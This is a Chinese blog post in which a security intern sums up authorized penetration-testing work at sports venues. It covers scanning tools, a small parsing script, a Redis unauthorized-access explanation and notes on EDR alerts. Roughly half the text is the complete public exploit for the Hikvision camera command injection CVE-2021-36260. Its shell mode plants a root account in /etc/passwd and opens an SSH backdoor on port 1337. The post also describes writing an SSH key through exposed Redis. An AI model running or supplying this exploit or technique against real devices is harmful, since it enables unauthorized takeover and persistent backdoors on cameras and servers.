安恒大运会安服实习总结

3k 词

实习总结

没想到这么快就要结束了,虽然很有不少蛋疼的地方,但还是让人难忘的经历吧。

本来想在正赛开始时写,结果现在都要闭幕式了。事物只要有开始就会有终结,漫长的实习里,一旦比赛开始就意味着尾声接近了。所以希腊人才喜欢说最好的人生是从未出生,因为没有开始就没有结束,非生非死。非始非终,所以才叫终之空吧(不对,我在说什么)。

不爽的地方很多,但最不爽的是妹子太少,早知道去做志愿者和西南民大的妹子相亲相爱了。除此之外,工作还算轻松,就是技术含量一般,比较无聊。

资产收集/漏洞扫描

虽然是做渗透,其实大部分工作是拿工具直接做漏洞扫描,但想想一个网段内这么多资产,这样确实是最高效的办法:

1
ppap.exe -hf -ping 10.txt -p 1-65535 -o result.txt

但半天只用一行命令跑fscan然后盯着命令行的黑框等跑完,还是很无聊。

不过fsan实在是神器,无论找网段内的资产还是简单的漏洞测试都很不错,尤其是能把网段内大部分资产给出来实在很方便:

pPE4Qz9.png

但有些资产扫不出来,漏洞更是几乎都扫不出来。

在漏扫上用goby明显更好:

pPEIpcj.png

当然经过配置插件之类还能更好用。

另外因为要写资产清单的excel表,但fscan默认输出的格式与要上交的EXCEL格式不一样,一个一个复制很麻烦,而且程序员怎么能容忍一件事重复做三遍?所以动手写了个简单的脚本做文本处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 打开文件,读取所有行
filename = input("输入要处理的文件名:")
# 打开文件,读取所有行
with open(filename, 'r') as f:
lines = f.readlines()

# 处理每一行数据
ips = set() # 使用集合保存不重复的IP地址
for line in lines:
if '[*]' in line: # 如果包含[*],则退出程序
print("END")
break

ip_port, status = line.strip().split(' ') # 按空格分割IP+端口和状态信息
ip, port = ip_port.split(':') # 按冒号分割IP地址和端口号
if status == 'open': # 只处理状态为open的IP地址
ips.add(ip)

# 输出结果
for ip in ips:
print(ip)
#E:\Anheng\双流体育中心\ppap>ppap.exe -ping -hf 10.txt -p 1-65535 -o 41to50result.txt

渗透测试

既然已经做过两遍渗透了,当然很少能扫出什么高危的洞来。所以就拿着扫到的资产手动做下渗透,挨个URL点进去看看。但响应码是200的居然意想不到的多,而且实际上是有复杂的SpringBoot集群后端,花了不少功夫才搞明白。最多的当然是海康威视的摄像头,但所有的web管理页面都有强密码。

海康威视摄像头RCE

不过,最早让我注意到的是之前的漏洞清单上有海康的RCE漏洞CVE-2021-36260,这个洞非常惊人。原理很复杂,但实际利用和复现却相当简单,而且如果能利用成功,就能拿到服务器最高权限。我用网上搜到的POC测了下,POC如下,很简单的python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
# Exploit Title: Hikvision Web Server Build 210702 - Command Injection
# Exploit Author: bashis
# Vendor Homepage: https://www.hikvision.com/
# Version: 1.0
# CVE: CVE-2021-36260
# Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

# All credit to Watchful_IP

#!/usr/bin/env python3

"""
Note:
1) This code will _not_ verify if remote is Hikvision device or not.
2) Most of my interest in this code has been concentrated on how to
reliably detect vulnerable and/or exploitable devices.
Some devices are easy to detect, verify and exploit the vulnerability,
other devices may be vulnerable but not so easy to verify and exploit.
I think the combined verification code should have very high accuracy.
3) 'safe check' (--check) will try write and read for verification
'unsafe check' (--reboot) will try reboot the device for verification

[Examples]
Safe vulnerability/verify check:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check

Safe and unsafe vulnerability/verify check:
(will only use 'unsafe check' if not verified with 'safe check')
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot

Unsafe vulnerability/verify check:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot

Launch and connect to SSH shell:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell

Execute command:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"

Execute blind command:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"

$./CVE-2021-36260.py -h
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
[--reboot] [--shell] [--cmd CMD]
[--cmd_blind CMD_BLIND] [--noverify]
[--proto {http,https}]

optional arguments:
-h, --help show this help message and exit
--rhost RHOST Remote Target Address (IP/FQDN)
--rport RPORT Remote Target Port
--check Check if vulnerable
--reboot Reboot if vulnerable
--shell Launch SSH shell
--cmd CMD execute cmd (i.e: "ls -l")
--cmd_blind CMD_BLIND
execute blind cmd (i.e: "reboot")
--noverify Do not verify if vulnerable
--proto {http,https} Protocol used
$
"""

import os
import argparse
import time

import requests
from requests import packages
from requests.packages import urllib3
from requests.packages.urllib3 import exceptions


class Http(object):
def __init__(self, rhost, rport, proto, timeout=60):
super(Http, self).__init__()

self.rhost = rhost
self.rport = rport
self.proto = proto
self.timeout = timeout

self.remote = None
self.uri = None

""" Most devices will use self-signed certificates, suppress any warnings """
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

self.remote = requests.Session()

self._init_uri()

self.remote.headers.update({
'Host': f'{self.rhost}:{self.rport}',
'Accept': '*/*',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
})
"""
self.remote.proxies.update({
# 'http': 'http://127.0.0.1:8080',
})
"""

def send(self, url=None, query_args=None, timeout=5):

if query_args:
"""Some devices can handle more, others less, 22 bytes seems like a good compromise"""
if len(query_args) > 22:
print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
return None

"""This weird code will try automatically switch between http/https
and update Host
"""
try:
if url and not query_args:
return self.get(url, timeout)
else:
data = self.put('/SDK/webLanguage', query_args, timeout)
except requests.exceptions.ConnectionError:
self.proto = 'https' if self.proto == 'http' else 'https'
self._init_uri()
try:
if url and not query_args:
return self.get(url, timeout)
else:
data = self.put('/SDK/webLanguage', query_args, timeout)
except requests.exceptions.ConnectionError:
return None
except requests.exceptions.RequestException:
return None
except KeyboardInterrupt:
return None

"""302 when requesting http on https enabled device"""

if data.status_code == 302:
redirect = data.headers.get('Location')
self.uri = redirect[:redirect.rfind('/')]
self._update_host()
if url and not query_args:
return self.get(url, timeout)
else:
data = self.put('/SDK/webLanguage', query_args, timeout)

return data

def _update_host(self):
if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
self.remote.headers.update({
'Host': self.uri[self.uri.rfind('://') + 3:],
})

def _init_uri(self):
self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))

def put(self, url, query_args, timeout):
"""Command injection in the <language> tag"""
query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
f'<language>$({query_args})</language>'
return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)

def get(self, url, timeout):
return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)


def check(remote, args):
"""
status_code == 200 (OK);
Verified vulnerable and exploitable
status_code == 500 (Internal Server Error);
Device may be vulnerable, but most likely not
The SDK webLanguage tag is there, but generate status_code 500 when language not found
I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
(Issue: Could also be other directory than 'webLib', r/o FS etc...)
status_code == 401 (Unauthorized);
Defiantly not vulnerable
"""
if args.noverify:
print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
return True

print(f'[*] Checking remote "{args.rhost}:{args.rport}"')

data = remote.send(url='/', query_args=None)
if data is None:
print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
return None
print('[i] ETag:', data.headers.get('ETag'))

data = remote.send(query_args='>webLib/c')
if data is None or data.status_code == 404:
print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
return False
status_code = data.status_code

data = remote.send(url='/c', query_args=None)
if not data.status_code == 200:
"""We could not verify command injection"""
if status_code == 500:
print(f'[-] Could not verify if vulnerable (Code: {status_code})')
if args.reboot:
return check_reboot(remote, args)
else:
print(f'[+] Remote is not vulnerable (Code: {status_code})')
return False

print('[!] Remote is verified exploitable')
return True


def check_reboot(remote, args):
"""
We sending 'reboot', wait 2 sec, then checking with GET request.
- if there is data returned, we can assume remote is not vulnerable.
- If there is no connection or data returned, we can assume remote is vulnerable.
"""
if args.check:
print('[i] Checking if vulnerable with "reboot"')
else:
print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
remote.send(query_args='reboot')
time.sleep(2)
if not remote.send(url='/', query_args=None):
print('[!] Remote is vulnerable')
return True
else:
print('[+] Remote is not vulnerable')
return False


def cmd(remote, args):
if not check(remote, args):
return False
data = remote.send(query_args=f'{args.cmd}>webLib/x')
if data is None:
return False

data = remote.send(url='/x', query_args=None)
if data is None or not data.status_code == 200:
print(f'[!] Error execute cmd "{args.cmd}"')
return False
print(data.text)
return True


def cmd_blind(remote, args):
"""
Blind command injection
"""
if not check(remote, args):
return False
data = remote.send(query_args=f'{args.cmd_blind}')
if data is None or not data.status_code == 500:
print(f'[-] Error execute cmd "{args.cmd_blind}"')
return False
print(f'[i] Try execute blind cmd "{args.cmd_blind}"')
return True


def shell(remote, args):
if not check(remote, args):
return False
data = remote.send(url='/N', query_args=None)

if data.status_code == 404:
print(f'[i] Remote "{args.rhost}" not pwned, pwning now!')
data = remote.send(query_args='echo -n P::0:0:W>N')
if data.status_code == 401:
print(data.headers)
print(data.text)
return False
remote.send(query_args='echo :/:/bin/sh>>N')
remote.send(query_args='cat N>>/etc/passwd')
remote.send(query_args='dropbear -R -B -p 1337')
remote.send(query_args='cat N>webLib/N')
else:
print(f'[i] Remote "{args.rhost}" already pwned')

print(f'[*] Trying SSH to {args.rhost} on port 1337')
os.system(f'stty echo; stty iexten; stty icanon; \
ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
P@{args.rhost} -p 1337')


def main():
print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)')

parser = argparse.ArgumentParser()
parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
parser.add_argument(
'--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
)
parser.add_argument(
'--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
)
args = parser.parse_args()

remote = Http(args.rhost, args.rport, args.proto)

try:
if args.shell:
shell(remote, args)
elif args.cmd:
cmd(remote, args)
elif args.cmd_blind:
cmd_blind(remote, args)
elif args.check:
check(remote, args)
elif args.reboot:
check_reboot(remote, args)
else:
parser.parse_args(['-h'])
except KeyboardInterrupt:
return False


if __name__ == '__main__':
main()


发现大部分摄像头web页面仍然有这个洞,但shell却连不上,没办法只好用Burp抓包手动复现,却发现实际上并没有这个漏洞,在上一次测试后就已经打补丁修复了。虽然有点可惜,但也让我觉得不能太依赖网上现成的POC才行,还是要理解漏洞的原理。

Redis未授权访问

Redis数据库在默认配置下会将6379端口暴露在公网上,并且没有身份验证。

因此导致漏洞的原因很简单:

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

总结起来,产生条件有两点:

  1. redis监听在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  2. 未设置登陆密码
  3. (可选)redis以root权限运行

可以做很方便的漏洞利用。

在扫描场馆自建的信息发布网即大屏网,发现了这个漏洞。但经过仔细测试,是写不了shell的。最麻烦的原因是信息发布网服务器是Windows sever,没法利用Linux的操作。

当然漏洞也报上去,很快修复了。

其他杂项

年终回顾才想起来还有一些值得写一下,当时居然偷懒了。

暴力破解

有一次EDR报暴力破解,但目标网段明显在内网内,而且不是登录,只是身份验证。

稍微看了下就清楚不是外部攻击,但原因比较让人迷惑。

仔细分析了暴力破解的请求头,似乎是某种流媒体传输协议,想了想应该是某个设备需要连接某个网段实现流媒体传输,但配置出来问题,导致始终无法通过身份验证,而这种协议如果无法连接,会自动重连,导致这种重连请求被EDR检测到告警了。

最后让负责设备的同事把这个请求的网段封了。

ARP扫描

还有一次在正赛时,告警ARP扫描,一旦某个主机接入G网(场馆内网),就会告警ARP扫描攻击。这个也比较迷惑,虽然能猜到并非外部攻击,但还是很奇怪。

ARP协议在获取不到MAC地址时,会向网段内所有IP发送请求,这个应该就是告警扫描的原因,但为什么获取不到MAC,而且请求的是某个没有使用的IP,让人有点困惑。

留言